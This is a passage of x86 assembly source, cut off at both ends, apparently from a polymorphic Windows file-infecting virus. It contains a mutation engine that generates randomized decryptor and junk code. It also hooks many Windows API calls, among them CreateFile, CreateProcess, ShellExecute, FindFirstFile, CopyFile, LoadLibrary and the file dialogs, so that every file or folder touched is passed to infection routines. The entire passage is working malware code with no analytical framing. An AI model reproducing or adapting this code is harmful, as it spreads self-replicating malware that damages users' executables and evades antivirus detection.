call VirPolyHelp ;mov a dword to a random reg
pop eax

push ecx
push edx ;save two reg

push eax
call VirGetRand
mov [esi].PUKey,eax
xchg edx,eax
pop eax

call PolyGetType
mov [esi].PUType,al
add esi,size PolyUnit
mov [esi].PUType,PTNONE

xchg edx,[esp]
call PolyGenGarbage
xchg edx,[esp]

cmp al,PTXOR
jnz short VirPoly_2
;Method XOR
call PolyXorReg32Imm
jmp short VirPolyNext

VirPoly_2:
cmp al,PTADD
jnz short VirPoly_3
;Method add
call PolyAddReg32Imm
jmp short VirPolyNext

VirPoly_3:
cmp al,PTSUB
jnz short VirPoly_4
;Method sub
call PolySubReg32Imm
jmp short VirPolyNext

VirPoly_4:
cmp al,PTROR
jnz short VirPoly_5
;Method ROR
mov dh,8
call PolyRollReg32Imm8
jmp short VirPolyNext

VirPoly_5:
cmp al,PTROL
jnz short VirPoly_6
;Method ROL
xor dh,dh
call PolyRollReg32Imm8
jmp short VirPolyNext

VirPoly_6:
;Method BSWAP
call PolyBswapReg32
; jmp short VirPolyNext

VirPolyNext:
pop edx
pop ecx

call PolyGenGarbage
call PolyGenSafeGarbage

call PolyMovMemReg32

call PolyGenGarbage

dec dword ptr [esp]
jnz VirPolyLoop

pop ecx

; mov cl,dh
; call PolyCmpReg32_0

;sub count reg,4
mov cl,dh
push large 4
pop edx
call PolySubReg32Imm

;jnl xxxxxxxx
mov ax,8d0fh
stosw
mov eax,[esp]
sub eax,edi
sub eax,4
stosd

pop eax
push edi

popad
retn
VirPoly_end:

;Param: ebp->PolyVar
; dl=reg for pointer(not ebp,esp),dh=reg for count,the count must be dividable by 4
PolyInitVar:
pushad
xor ecx,ecx
mov [ebp],ecx
mov [ebp+4],ecx
mov bl,1
mov cl,dl
mov [ebp+ecx],bl
movzx ecx,dh
mov [ebp+ecx],bl
popad
retn
PolyInitVar_end:

VirPolyHelp:
stc
call PolyGetReg
movzx eax,bl
mov byte ptr [ebp+eax],1
mov cl,bl
push ecx
call PolyMovReg32Mem
pop ecx
retn
VirPolyHelp_end:

;Generate some garbage to a buffer
PolyGenGarbageBuffer:
pushad
sub esp,size PolyVar
mov ebp,esp

;Make the reg as ebp,ebp,only an address,not useful
mov edx,0505h
call PolyInitVar

call VirGetRand
and eax,0fh
add al,0fh ;15-31 garbage
push eax
PolyGenGarbageBufferLoop:
call PolyGenSafeGarbage
dec dword ptr [esp]
jnz short PolyGenGarbageBufferLoop

pop eax

add esp,size PolyVar
pop eax
push edi

popad
retn
PolyGenGarbageBuffer_end:

;Save gargage code generate,can be used in other generation
PolyGenSafeGarbage:
pushad

call VirGetRand
movzx eax,al
and al,7
add al,8 ;8-15 layers garbage code
push eax

PolyGenSafeGarbageLoop:
call VirGetRand
mov edx,eax
and al,0fh
and ah,3 ;common reg
xchg cl,ah ;cl=potential useful reg

call PolyGetReg ;bl=garbagereg
;bl=gargage reg,cl=useful reg

cmp al,PolyGenSafeGarbageMultiNum
jnc PolyGenSafeGarbage_0

push ebx
call PolyGenSafeGarbageMulti
PolyGenSafeGarbageMulti_0:
db 11h; adc
db 01h; add
db 21h; and
db 39h; cmp
db 89h; mov
db 09h; or
db 19h; sbb
db 29h; sub
db 31h; xor
PolyGenSafeGarbageMultiNum equ $-PolyGenSafeGarbageMulti_0
PolyGenSafeGarbageMulti:
pop ebx
movzx eax,al
mov al,[ebx+eax]
pop ebx
call PolyOpDirReg1Reg2
jmp short PolyGenSafeGarbageNext

PolyGenSafeGarbage_0:
cmp al,PolyGenSafeGarbageMultiNum+0
jnz short PolyGenSafeGarbage_1
;xchg garbagereg,commonreg/xchg garbagereg,commonreg
call PolyXchgReg32Reg
call PolyXchgReg32Reg
jmp short PolyGenSafeGarbageNext

PolyGenSafeGarbage_1:
cmp al,PolyGenSafeGarbageMultiNum+1
jnz short PolyGenSafeGarbage_2
test dh,10h
jz short PolyGenSafeGarbage_@11
;jmp forword,short format
mov al,0ebh
stosb
movzx eax,dh
and al,3 ;max forward 3 bytes
stosb
add edi,eax
jmp short PolyGenSafeGarbageNext
PolyGenSafeGarbage_@11:
;call forward/pop gargagereg
mov al,0e8h
stosb
movzx eax,dh
and al,3 ;max forward 3 bytes
stosd
add edi,eax
mov al,58h
or al,bl
stosb
jmp short PolyGenSafeGarbageNext

PolyGenSafeGarbage_2:
cmp al,PolyGenSafeGarbageMultiNum+2
jnz short PolyGenSafeGarbage_3
;bswap garbagereg
mov al,0fh
stosb
mov al,0c8h
or al,bl
stosb
jmp short PolyGenSafeGarbageNext

PolyGenSafeGarbage_3:
cmp al,PolyGenSafeGarbageMultiNum+3
jnz short PolyGenSafeGarbage_4
;jcc forward
mov al,70h
and dh,0fh
or al,dh
stosb
shr edx,12
mov al,dh
and al,3 ;max 3 bytes
stosb
call PolyGetOneByteGarbage
jmp short PolyGenSafeGarbageNext

PolyGenSafeGarbage_4:
cmp al,PolyGenSafeGarbageMultiNum+4
jnz short PolyGenSafeGarbage_5
;test reg,reg
mov al,85h
stosb
mov al,cl
shl al,3
or al,0c0h
or al,bl
stosb
jmp short PolyGenSafeGarbageNext

PolyGenSafeGarbage_5:

PolyGenSafeGarbageNext:
dec dword ptr [esp]
jnz PolyGenSafeGarbageLoop

pop eax

pop eax
push edi
popad

retn
PolyGenSafeGarbage_end:

;nop,clc,stc,cld,std
;Param: al=code number
PolyGetOneByteGarbage:
push ebx
push eax
PolyGetOneByteGarbageLoop:
or al,al
jz short PolyGetOneByteGarbageRet

push eax
call VirGetRand
xchg eax,ebx
mov al,90h ;nop
test bh,8
jz short PolyGetOneByteGarbage1
mov al,0f8h ;clc
and bl,1
add al,bl ;maybe stc
jmp short PolyGetOneByteGarbageNext

PolyGetOneByteGarbage1:
test bh,2
jz short PolyGetOneByteGarbageNext
mov al,0fch ;cld
and bl,1
add al,bl ;maybe std
; jmp short PolyGetOneByteGarbageNext

PolyGetOneByteGarbageNext:
stosb
pop eax
dec al
jmp short PolyGetOneByteGarbageLoop
PolyGetOneByteGarbageRet:
pop eax
pop ebx
retn
PolyGetOneByteGarbage_end:

;opcode dstreg,srcreg,select two direction
;Param: cl=srcreg,bl=dstreg,al=opcode
PolyOpDirReg1Reg2:
push ebx
push ecx
push eax
call VirGetRand
test al,2
pop eax
jz short PolyOpDirReg1Reg2_1
or al,2
xchg cl,bl
PolyOpDirReg1Reg2_1:
stosb
mov al,cl
shl al,3
or al,0c0h
or al,bl
stosb
pop ecx
pop ebx
retn
PolyOpDirReg1Reg2_end:

;xchg reg32,reg32
;Param: cl,bl= reg32
PolyXchgReg32Reg:
call VirGetRand
test al,1
jz short PolyXchgReg32Reg1
;xchg reg,reg
mov al,87h
stosb
mov al,cl
shl al,3
or al,0c0h
or al,bl
stosb
retn
PolyXchgReg32Reg1:
;push reg1/push reg2/pop reg1/pop reg2
mov al,50h
or al,cl
stosb
mov al,50h
or al,bl
stosb
mov al,58h
or al,cl
stosb
mov al,58h
or al,bl
stosb
retn
retn
PolyXchgReg32Reg_end:

PolyGenGarbage:
pushad

mov esi,edx ;save edx

call VirGetRand
test ah,3
jnz short PolyGenGarbageNotSafe
popad
jmp PolyGenSafeGarbage

PolyGenGarbageNotSafe:
movzx eax,al
and al,7
add al,8 ;8-15 layers garbage code
push eax

PolyGenGarbageLoop:
call VirGetRand
mov edx,eax
and al,7
and ah,3 ;common reg
xchg cl,ah

call PolyGetReg ;bl=garbagereg
xchg cl,bl ;cl=gargage reg,bl=useful reg

cmp al,0
jnz short PolyGenGarbage_1
;mov garbagereg,commonreg
xchg cl,bl
call PolyMovReg32Reg32 ;mov regbl,regcl
jmp short PolyGenGarbageNext

PolyGenGarbage_1:
cmp al,1
jnz short PolyGenGarbage_2
;add garbagereg,imm32
call PolyAddReg32Imm
jmp short PolyGenGarbageNext

PolyGenGarbage_2:
cmp al,2
jnz short PolyGenGarbage_3
;roll garbagereg,imm8
bswap edx
and dh,8
call PolyRollReg32Imm8
jmp short PolyGenGarbageNext

PolyGenGarbage_3:
cmp al,3
jnz short PolyGenGarbage_4
;mov garbagereg,mem
mov edx,esi
call PolyMovReg32Mem
jmp short PolyGenGarbageNext

PolyGenGarbage_4:

PolyGenGarbageNext:
dec dword ptr [esp]
jnz PolyGenGarbageLoop

pop eax

pop eax
push edi
popad

retn
PolyGenGarbage_end:

if 0
;cmp reg32,0
;Param: cl=reg32
PolyCmpReg32_0:
call VirGetRand
test al,1
jnz short PolyCmpReg32_0_1
;cmp reg32,0
test al,2
jnz short PolyCmpReg32_0_2
;long format
mov al,81h
stosb
mov al,0f8h
or al,cl
stosb
xor eax,eax
stosd
retn
PolyCmpReg32_0_2:
;short format
mov al,83h
stosb
mov al,0f8h
or al,cl
stosb
xor al,al
stosb
retn
PolyCmpReg32_0_1:
;or reg32,reg32
test al,8
mov al,09h
jz short PolyCmpReg32_0_3
mov al,0bh
PolyCmpReg32_0_3:
stosb
mov al,cl
shl al,3
or al,0c0h
or al,cl
stosb
retn
PolyCmpReg32_0_end:
endif

;ror/rol reg32,imm8
;Param: cl=reg32,dl=imm8,dh=0 means rol,dh=8 means ror
PolyRollReg32Imm8:
call VirGetRand
cmp dl,1
jnz short PolyRollReg32Imm8_1
test al,1
jz short PolyRollReg32Imm8_1
;ror/rol reg32,1
mov al,0d1h
PolyRollReg32Imm8__help:
stosb
mov al,0c0h
or al,cl
or al,dh
stosb
retn

PolyRollReg32Imm8_1:
test al,2
jnz short PolyRollReg32Imm8_2
PolyRollReg32Imm8__help2:
;ror/rol reg32,imm8
mov al,0c1h
call PolyRollReg32Imm8__help
mov al,dl
stosb
retn

PolyRollReg32Imm8_2:
;mov tmpreg32,reg32/ror/rol tmpreg32,imm8/mov reg32,tmpreg32
stc
call PolyGetReg
call PolyMovReg32Reg32
xchg bl,cl
call PolyRollReg32Imm8__help2
call PolyMovReg32Reg32
retn
PolyRollReg32Imm8_end:

;bswap reg32
;Param: cl=reg32
PolyBswapReg32:
call VirGetRand
test al,1
jnz short PolyBswapReg32_1
;bswap reg32
PolyBswapReg32_0:
mov al,0fh
stosb
mov al,0c8h
or al,cl
stosb
retn
PolyBswapReg32_1:
;mov tmpreg32,reg32/bswap tmpreg32/mov reg32,tmpreg32
stc
call PolyGetReg
call PolyMovReg32Reg32
xchg bl,cl
call PolyBswapReg32_0
call PolyMovReg32Reg32
retn
PolyBswapReg32_end:

;xor reg32,imm32
;Param: cl=reg32,edx=imm32
PolyXorReg32Imm:
call VirGetRand
test al,1
jz short PolyXorReg32Imm1
;xor reg32,imm32
mov al,81h
stosb
mov al,0f0h
or al,cl
stosb
mov eax,edx
stosd
retn
PolyXorReg32Imm1:
;mov tmpreg32,imm32/xor reg32,tmp32
stc
call PolyGetReg
xchg bl,cl
call PolyMovReg32Imm
mov al,33h
stosb
mov al,bl
shl al,3
or al,0c0h
or al,cl
stosb
retn
PolyXorReg32Imm_end:

;add ret32,imm32
;Param: cl=reg32,edx=imm32
PolyAddReg32Imm:
call VirGetRand
cmp edx,1;can be inc reg32?
jnz short PolyAddReg32Imm1
test al,8
jz short PolyAddReg32Imm1
;inc reg32
mov al,40h
or al,cl
stosb
retn

PolyAddReg32Imm1:
test al,1
jnz short PolyAddReg32Imm2
;mov tmpreg32,imm32/add reg32,tmpreg32
stc
call PolyGetReg
xchg bl,cl
call PolyMovReg32Imm
mov al,3
stosb
mov al,bl
shl al,3
or al,0c0h
or al,cl
stosb
retn

PolyAddReg32Imm2:
test al,10h
jz short PolyAddReg32Imm3
;add reg32,imm
mov al,81h
stosb
mov al,0c0h
or al,cl
stosb
mov eax,edx
stosd
retn

PolyAddReg32Imm3:
;or reg32,reg32/adc reg32,imm
mov bl,cl
mov al,09h
call PolyOpDirReg1Reg2
mov al,81h
stosb
mov al,0d0h
or al,cl
stosb
mov eax,edx
stosd
retn
PolyAddReg32Imm_end:

;sub ret32,imm32
;Param: cl=reg32,edx=imm32
PolySubReg32Imm:
call VirGetRand
cmp edx,1;can be dec reg32?
jnz short PolySubReg32Imm1
test al,8
jz short PolySubReg32Imm1
;dec reg32
mov al,48h
or al,cl
stosb
retn

PolySubReg32Imm1:
test al,1
jnz short PolySubReg32Imm2
;add reg32,neg imm
neg edx
jmp short PolyAddReg32Imm1

PolySubReg32Imm2:
;sub reg32,imm
mov al,81h
stosb
mov al,0e8h
or al,cl
stosb
mov eax,edx
stosd
retn
PolySubReg32Imm_end:

;mov ret32,imm32
;Param: cl=reg32,edx=imm32
PolyMovReg32Imm:
call VirGetRand
test al,1
jz short PolyMovReg32Imm1
;mov reg32,imm32
mov al,0b8h
or al,cl
stosb
mov eax,edx
stosd
retn

PolyMovReg32Imm1:
;push imm32/pop reg32
mov al,68h
stosb
mov eax,edx
stosd
mov al,58h
or al,cl
stosb
retn
PolyMovReg32Imm_end:

;mov reg32,[reg of dl(source) + reg of bh(count)]
;Param: cl=reg32
PolyMovReg32Mem:
call VirGetRand
test al,3
jz short PolyMovReg32Mem1
;mov tmpreg8,mem/mov reg8,tmpreg
clc
call PolyGetReg
xchg cl,bl
call PolyMovReg32Mem3 ;mov tmpre32,mem
;Now cl=tmpreg,bl=reg
call PolyMovReg32Reg32
retn

PolyMovReg32Mem1:
test al,4
jnz short PolyMovReg32Mem2
PolyMovReg32Mem3:
;mov reg8,mem
mov al,8bh
call PolyMovMemHelp
retn

PolyMovReg32Mem2:
;push mem/pop reg
mov ax,034ffh
stosw
mov al,dh
shl al,3
or al,dl ;SIB
stosb
mov al,cl ;pop reg
or al,58h
stosb
retn
PolyMovReg32Mem_end:

;mov [reg of dl(source) + reg of bh(count)],reg32
;Param: cl=reg32
PolyMovMemReg32:
call VirGetRand
test al,3
jz short PolyMovMemReg32_1
;mov tmpreg,reg/mov mem32,tmpreg
clc
call PolyGetReg
;cl=reg32,bl=tmpreg32
call PolyMovReg32Reg32
xchg bl,cl
;cl=reg32,bl=tmpreg32

PolyMovMemReg32_1:
test al,4
jz short PolyMovMemReg32__2
;mov mem32,reg32
mov al,89h
call PolyMovMemHelp
retn

PolyMovMemReg32__2:
;push reg32/pop mem32
mov al,50h
or al,cl
stosb
mov ax,048fh
stosw
mov al,dh
shl al,3
or al,dl ;SIB
stosb
retn
PolyMovMemReg32_end:

;For mov mem32,reg or mov reg,mem32
;Param: al=the first byte,89h-mov mem32,reg,8bh-mov reg,mem32
PolyMovMemHelp:
stosb
mov al,cl
shl al,3
or al,4
stosb ;mod/reg/rm
mov al,dh
shl al,3
or al,dl ;SIB
stosb
retn
PolyMovMemHelp_end:

;mov reg32,[reg of dl(source) + reg of bh(count)]
;Param: cl=source reg32,bl=dest reg32
PolyMovReg32Reg32:
call VirGetRand
test al,1
jz short PolyMovReg32Reg32_1
;mov dstreg32,srcreg32
test al,8
jz short PolyMovReg32Reg32_2
;reg1 to reg2
mov al,89h
stosb
mov al,cl
shl al,3
or al,0c0h
or al,bl
stosb
retn

PolyMovReg32Reg32_2:
;reg2 to reg1
mov al,8bh
stosb
mov al,bl
shl al,3
or al,0c0h
or al,cl
stosb
retn

PolyMovReg32Reg32_1:
;push srcreg32/pop dstreg32
mov al,50h
or al,cl
stosb
mov al,58h
or al,bl
stosb
retn
PolyMovReg32Reg32_end:

;Param: ebp->PolyVar,CF=0: use only common reg,CF=1: use all reg
;Return: bl=reg,bh won't be affect
PolyGetReg:
push eax
push edx
push ecx

setc cl
shr cl,2
add cl,3

call VirGetRand
movzx edx,al
and dl,cl
dec dl
PolyGetRegLoop:
inc dl
and dl,cl
cmp dl,4 ;is esp?
jz short PolyGetRegLoop
cmp dl,5 ;is ebp?
jz short PolyGetRegLoop
cmp byte ptr [ebp+edx],dh ;dh=0
jnz short PolyGetRegLoop
mov bl,dl

pop ecx
pop edx
pop eax
retn
PolyGetReg_end:

;Param: al=last poly type
;Return: al=poly type
PolyGetType:
push edx

mov dh,al
call VirGetRand
xor ah,ah ;avoid overflow error
mov dl,PTNUM
div dl

mov al,ah

pop edx
retn
PolyGetType_end:

;Return: eax=random number
VirGetRand:
pushad
call VirGetRandIP
VirGetRandIP:
pop ebp
call [ebp+addrGetTickCount-VirGetRandIP]
mov ecx,12345678h
RandSeed equ $-4
add eax,ecx
rol ecx,1
add ecx,esp
add [ebp+RandSeed-VirGetRandIP],ecx
push large 32
pop ecx
VirGetRand1:
shr eax,1
jnc VirGetRand2
xor eax,0ED388320h
VirGetRand2:
loop VirGetRand1
mov [esp+7*4],eax

popad
retn
get_rand_end:

;Try to set GetOpenFileName hook
;Param: esi->OPENFILENAME, edi->address of hook procedure
HookGetOpenFileNameTryHook:
mov ecx,[esi].OPENFILENAME.Flags
test ecx,OFN_ENABLEHOOK
jnz short HookGetOpenFileNameTryHookRet
test ecx,OFN_EXPLORER
jz short HookGetOpenFileNameTryHookRet
or [esi].OPENFILENAME.Flags,OFN_ENABLEHOOK
mov [esi].OPENFILENAME.lpfnHook,edi
HookGetOpenFileNameTryHookRet:
retn
HookGetOpenFileNameTryHook_end:

;Try to release GetOpenFileName hook
;Param: esi->OPENFILENAME, edi->address of hook procedure
HookGetOpenFileNameUnhook:
cmp [esi].OPENFILENAME.lpfnHook,edi
jnz short HookGetOpenFileNameUnhookRet
and [esi].OPENFILENAME.Flags,not OFN_ENABLEHOOK
mov [esi].OPENFILENAME.lpfnHook,0
HookGetOpenFileNameUnhookRet:
retn
HookGetOpenFileNameUnhook_end:

HookGetOpenFileNameHookA:
cmp dword ptr [esp+4+4],WM_NOTIFY ;uiMsg
jnz short HookGetOpenFileNameHookARet
mov eax,[esp+4+4*3] ;lParam
cmp dword ptr [eax+8],CDN_FOLDERCHANGE
jnz short HookGetOpenFileNameHookARet
mov eax,[esp+4]

pushad
call HookGetOpenFileNameHookAIP
HookGetOpenFileNameHookAIP:
pop ebp

push eax
call [ebp+addrGetParent-HookGetOpenFileNameHookAIP]

sub esp,1000
mov edi,esp
push edi
push 500
push CDM_GETFOLDERPATH
push eax
call [ebp+addrSendMessageA-HookGetOpenFileNameHookAIP]
cmp eax,0
jle short HookGetOpenFileNameHookAFail
cmp byte ptr [edi+1],0
jz short HookGetOpenFileNameHookAWide
call TrySearchPath
jmp short HookGetOpenFileNameHookAFail
HookGetOpenFileNameHookAWide:
call TrySearchPathWide
HookGetOpenFileNameHookAFail:
add esp,1000
popad

HookGetOpenFileNameHookARet:
xor eax,eax
retn 16
HookGetOpenFileNameHookA_end:

HookGetSaveFileNameA:
pushad
pushfd
call HookGetSaveFileNameAIP
HookGetSaveFileNameAIP:
pop ebx

mov eax,[ebx+addrGetSaveFileNameA-HookGetSaveFileNameAIP]
lea ebp,[ebx+HookGetOpenFileNameAIP-HookGetSaveFileNameAIP]
jmp short HookGetOpenFileNameA_1
HookGetSaveFileNameA_end:

HookGetSaveFileNameW:
pushad
pushfd
call HookGetSaveFileNameWIP
HookGetSaveFileNameWIP:
pop ebx

mov eax,[ebx+addrGetSaveFileNameW-HookGetSaveFileNameWIP]
lea ebp,[ebx+HookGetOpenFileNameWIP-HookGetSaveFileNameWIP]
jmp short HookGetOpenFileNameW_1
HookGetSaveFileNameW_end:

HookGetOpenFileNameA:
pushad
pushfd
call HookGetOpenFileNameAIP
HookGetOpenFileNameAIP:
pop ebp

mov eax,[ebp+addrGetOpenFileNameA-HookGetOpenFileNameAIP]

HookGetOpenFileNameA_1:
mov esi,[esp+9*4+4]

lea edi,[ebp+HookGetOpenFileNameHookA-HookGetOpenFileNameAIP]
call HookGetOpenFileNameTryHook

push esi
call eax

mov [esp+4+7*4],eax

call HookGetOpenFileNameUnhook

popfd
popad
retn 4
HookGetOpenFileNameA_end:

HookGetOpenFileNameW:
pushad
pushfd
call HookGetOpenFileNameWIP
HookGetOpenFileNameWIP:
pop ebp

mov eax,[ebp+addrGetOpenFileNameW-HookGetOpenFileNameWIP]

HookGetOpenFileNameW_1:
mov esi,[esp+9*4+4]

lea edi,[ebp+HookGetOpenFileNameHookA-HookGetOpenFileNameWIP]
call HookGetOpenFileNameTryHook

push esi
call eax
mov [esp+4+7*4],eax

call HookGetOpenFileNameUnhook

popfd
popad
retn 4
HookGetOpenFileNameW_end:

HookLoadLibraryA:
pushad
pushfd
call HookLoadLibraryAIP
HookLoadLibraryAIP:
pop ebp

mov esi,[esp+9*4+4]
push esi
call [ebp+addrLoadLibraryA-HookLoadLibraryAIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookLoadLibraryARet

mov edi,1000
sub esp,edi
mov edx,esp
push edi
push edx
push eax
call HookGetModuleFileNameA
add esp,edi
HookLoadLibraryARet:
popfd
popad
retn 4
HookLoadLibraryA_end:

HookLoadLibraryW:
pushad
pushfd
call HookLoadLibraryWIP
HookLoadLibraryWIP:
pop ebp

mov esi,[esp+9*4+4]
push esi
call [ebp+addrLoadLibraryW-HookLoadLibraryWIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookLoadLibraryWRet

mov edi,1000
sub esp,edi
mov edx,esp
push large 500
push edx
push eax
call HookGetModuleFileNameW
add esp,edi
HookLoadLibraryWRet:
popfd
popad
retn 4
HookLoadLibraryW_end:

HookGetModuleFileNameA:
pushad
pushfd
call HookGetModuleFileNameAIP
HookGetModuleFileNameAIP:
pop ebp

mov esi,[esp+9*4+4]
mov edi,[esp+9*4+4+4]
mov eax,[esp+9*4+4+4+4]
push eax
push edi
push esi
call [ebp+addrGetModuleFileNameA-HookGetModuleFileNameAIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookGetModuleFileNameARet

call TrySearchFile
HookGetModuleFileNameARet:
popfd
popad
retn 12
HookGetModuleFileNameA_end:

HookGetModuleFileNameW:
pushad
pushfd
call HookGetModuleFileNameWIP
HookGetModuleFileNameWIP:
pop ebp

mov esi,[esp+9*4+4]
mov edi,[esp+9*4+4+4]
mov eax,[esp+9*4+4+4+4]
push eax
push edi
push esi
call [ebp+addrGetModuleFileNameW-HookGetModuleFileNameWIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookGetModuleFileNameWRet

xchg edi,edx
call InfectFileWide
HookGetModuleFileNameWRet:
popfd
popad
retn 12
HookGetModuleFileNameW_end:

HookGetCurrentDirectoryA:
pushad
pushfd

call HookGetCurrentDirectoryAIP
HookGetCurrentDirectoryAIP:
pop ebp

mov esi,[esp+9*4+4]
mov edi,[esp+9*4+4+4]
push edi
push esi
call [ebp+addrGetCurrentDirectoryA-HookGetCurrentDirectoryAIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookGetCurrentDirectoryARet

call TrySearchPath
HookGetCurrentDirectoryARet:
popfd
popad
retn 8
HookGetCurrentDirectoryA_end:

HookGetCurrentDirectoryW:
pushad
pushfd

call HookGetCurrentDirectoryWIP
HookGetCurrentDirectoryWIP:
pop ebp

mov esi,[esp+9*4+4]
mov edi,[esp+9*4+4+4]
push edi
push esi
call [ebp+addrGetCurrentDirectoryW-HookGetCurrentDirectoryWIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookGetCurrentDirectoryWRet

call TrySearchPathWide
HookGetCurrentDirectoryWRet:
popfd
popad
retn 8
HookGetCurrentDirectoryW_end:

HookSetCurrentDirectoryA:
pushad
pushfd

call HookSetCurrentDirectoryAIP
HookSetCurrentDirectoryAIP:
pop ebp

mov edi,[esp+9*4+4]
push edi
call [ebp+addrSetCurrentDirectoryA-HookSetCurrentDirectoryAIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookSetCurrentDirectoryARet

call TrySearchPath
HookSetCurrentDirectoryARet:
popfd
popad
retn 4
HookSetCurrentDirectoryA_end:

HookSetCurrentDirectoryW:
pushad
pushfd

call HookSetCurrentDirectoryWIP
HookSetCurrentDirectoryWIP:
pop ebp

mov edi,[esp+9*4+4]
push edi
call [ebp+addrSetCurrentDirectoryW-HookSetCurrentDirectoryWIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookSetCurrentDirectoryWRet

call TrySearchPathWide
HookSetCurrentDirectoryWRet:
popfd
popad
retn 4
HookSetCurrentDirectoryW_end:

HookFindFirstFileA:
pushad
pushfd

call HookFindFirstFileAIP
HookFindFirstFileAIP:
pop ebp

mov esi,[esp+9*4+4]
mov edi,[esp+9*4+4+4]
push edi
push esi
call [ebp+addrFindFirstFileA-HookFindFirstFileAIP]
mov [esp+4+7*4],eax
inc eax
jz short HookFindFirstFileARet

add edi,4*11 ;edi->cFileName
push esi
call HookFindHelp
pop edi

call TrySearchFile

HookFindFirstFileARet:
popfd
popad

retn 8
HookFindFirstFileA_end:

;Param: esi->lpFileName,edi->cFileName of WIN32_FIND_DATA
HookFindHelp:
sub esp,2000
xchg ebx,edi
mov edi,esp
mov edx,edi

call VirExtractPath
mov edi,ecx
mov esi,ebx
HookFindHelpLoop2:
lodsb
stosb
or al,al
jnz short HookFindHelpLoop2

mov edi,edx
call InfectFile

HookFindHelpRet:
add esp,2000
retn
HookFindHelp_end:

HookFindFirstFileW:
pushad
pushfd

call HookFindFirstFileWIP
HookFindFirstFileWIP:
pop ebp

mov esi,[esp+9*4+4]
mov edi,[esp+9*4+4+4]
push edi
push esi
call [ebp+addrFindFirstFileW-HookFindFirstFileWIP]
mov [esp+4+7*4],eax
inc eax
jz short HookFindFirstFileWRet

add edi,4*11 ;edi->cFileName
call HookFindHelpWide

HookFindFirstFileWRet:
popfd
popad

retn 8
HookFindFirstFileW_end:

;Param: esi->lpFileName,edi->cFileName of WIN32_FIND_DATA
HookFindHelpWide:
sub esp,2000
mov edx,esi
xchg ecx,edi
mov edi,esp
call UnicodeToAnsi

mov esi,edi

mov edx,ecx
add edi,1000
call UnicodeToAnsi

push esi
call HookFindHelp
pop edi

call TrySearchFile

add esp,2000
retn
HookFindHelpWide_end:

HookMoveFileExA:
push eax
pushad
pushfd

mov edx,addrMoveFileExA-HookBaseIP

jmp short HookMoveFileA_1
HookMoveFileExA_end:

HookMoveFileExW:
push eax
pushad
pushfd

mov edx,addrMoveFileExW-HookBaseIP

jmp short HookMoveFileW_1
HookMoveFileExW_end:

HookCopyFileExA:
push eax
pushad
pushfd

mov edx,addrCopyFileExA-HookBaseIP
jmp short HookMoveFileA_1
HookCopyFileExA_end:

HookCopyFileExW:
push eax
pushad
pushfd

mov edx,addrCopyFileExW-HookBaseIP
jmp short HookMoveFileW_1
HookCopyFileExW_end:

HookCopyFileA:
push eax
pushad
pushfd

mov edx,addrCopyFileA-HookBaseIP
jmp short HookMoveFileA_1
HookCopyFileA_end:

HookCopyFileW:
push eax
pushad
pushfd

mov edx,addrCopyFileW-HookBaseIP
jmp short HookMoveFileW_1
HookCopyFileW_end:

HookMoveFileA:
push eax
pushad
pushfd

mov edx,addrMoveFileA-HookBaseIP

HookMoveFileA_1:
mov edi,[esp+10*4+4]
call InfectFileAnsi

jmp short HookReturn
HookMoveFileA_end:

HookMoveFileW:
push eax
pushad
pushfd

mov edx,addrMoveFileW-HookBaseIP

HookMoveFileW_1:
push edx
mov edx,[esp+10*4+4+4]
call InfectFileWide
pop edx

jmp short HookReturn
HookMoveFileW_end:

HookShellExecuteExA:
push eax
pushad
pushfd

mov edi,[esp+10*4+4]
or edi,edi
jz short HookShellExecuteExARet
mov edi,[edi+4*4]
call InfectFileAnsi

HookShellExecuteExARet:
mov edx,addrShellExecuteExA-HookBaseIP
jmp short HookReturn
HookShellExecuteExA_end:

HookShellExecuteExW:
push eax
pushad
pushfd

mov edx,[esp+10*4+4]
or edx,edx
jz short HookShellExecuteExWRet
mov edx,[edx+4*4]
call InfectFileWide

HookShellExecuteExWRet:
mov edx,addrShellExecuteExA-HookBaseIP
jmp short HookReturn
HookShellExecuteExW_end:

HookCreateFileA:
push eax
pushad
pushfd

mov edi,[esp+10*4+4]
call InfectFileAnsi

mov edx,addrCreateFileA-HookBaseIP

HookReturn:
call HookCreateFileAIP
HookCreateFileAIP:
HookBaseIP equ HookCreateFileAIP
pop edi

mov eax,[edi+edx]
mov [esp+4*9],eax

popfd
popad
retn
HookCreateFileA_end:

HookCreateFileW:
push eax
pushad
pushfd

mov edx,addrCreateFileW-HookBaseIP
jmp short HookMoveFileW_1
HookCreateFileW_end:

HookCreateProcessA:
push eax
pushad
pushfd

mov edx,addrCreateProcessA-HookBaseIP
jmp HookMoveFileA_1
HookCreateProcessA_end:

HookCreateProcessW:
push eax
pushad
pushfd

mov edx,addrCreateProcessW-HookBaseIP
jmp HookMoveFileW_1
HookCreateProcessW_end:

HookShellExecuteA:
push eax
pushad
pushfd

mov edi,[esp+10*4+4+2*4]
call InfectFileAnsi

mov edx,addrShellExecuteA-HookBaseIP
jmp short HookReturn
HookShellExecuteA_end:

HookShellExecuteW:
push eax
pushad
pushfd

mov edx,[esp+10*4+4+2*4]
call InfectFileWide

mov edx,addrShellExecuteW-HookBaseIP
jmp short HookReturn
HookShellExecuteW_end:

;Infect file with ansi file name,only a wrapper of InfectFile
;Param: edi->ansi file name
InfectFileAnsi:
pushad
call InfectFile
call TrySearchFile
popad
retn
InfectFileAnsi_end:

;Infect file with unicode file name
;Param: edx->unicode file name
InfectFileWide:
mov esi,512
sub esp,esi
mov edi,esp

call UnicodeToAnsi
call InfectFile

call TrySearchFile

add esp,esi
retn
InfectFileWide_end:

;Param: edx->unicode string,edi->dest ansi buffer(at leaset 512 bytes)
UnicodeToAnsi:
push ecx

push large 0
push large 0
push large 512
push edi ;lpMultiByteStr
push -1
push edx
push large 200h ;WC_COMPOSITECHECK
push large 0 ;CP_ACP
call UnicodeToAnsiIP
UnicodeToAnsiIP:
pop eax
call [eax+addrWideCharToMultiByte-UnicodeToAnsiIP]

pop ecx
retn
UnicodeToAnsi_end:

;Search path
;Param: edi->Path
TrySearchPath:
sub esp,1000

cld
mov esi,edi
mov edi,esp
TrySearchPathLoop:
lodsb
stosb
or al,al
jnz short TrySearchPathLoop

TrySearchPath_Help:
dec edi
